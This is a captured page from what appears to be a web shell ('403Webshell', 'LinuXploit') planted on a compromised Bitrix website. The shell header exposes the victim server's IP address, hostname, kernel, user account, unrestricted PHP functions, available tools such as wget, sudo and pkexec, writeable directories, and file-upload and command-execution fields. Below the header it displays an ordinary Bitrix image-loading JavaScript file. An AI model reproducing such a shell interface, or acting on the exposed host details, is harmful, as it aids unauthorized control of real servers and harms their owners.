403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/imageeditor/src/internal/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/main/imageeditor/src/internal/load-image.js
import {Type, Tag, Uri, Loc} from 'main.core';

type LoadImageOptions = {
	image: string | HTMLImageElement,
	proxy?: string,
};

export default function loadImage({src, proxy}: LoadImageOptions)
{
	return new Promise((resolve, reject) => {
		const imageSrc = (() => {
			const srcUri = new Uri(src);
			const srcHost = srcUri.getHost();
			if (
				srcHost === ''
				|| srcHost === window.location.host
				|| srcHost === window.location.hostname
			)
			{
				return src;
			}

			if (Type.isString(proxy))
			{
				return Uri.addParam(proxy, {
					sessid: BX.bitrix_sessid(),
					url: src,
				});
			}

			return src;
		})();

		const image = (() => {
			if (Type.isString(imageSrc))
			{
				const newImage = new Image();
				newImage.src = imageSrc;
				return newImage;
			}

			return image;
		})();

		if (Type.isDomNode(image) && image instanceof HTMLImageElement)
		{
			if (image.complete)
			{
				resolve(image);
				return;
			}

			image.onload = () => resolve(image);
			image.onerror = reject;
		}
	});
}

Youez - 2016 - github.com/yon3zu
LinuXploit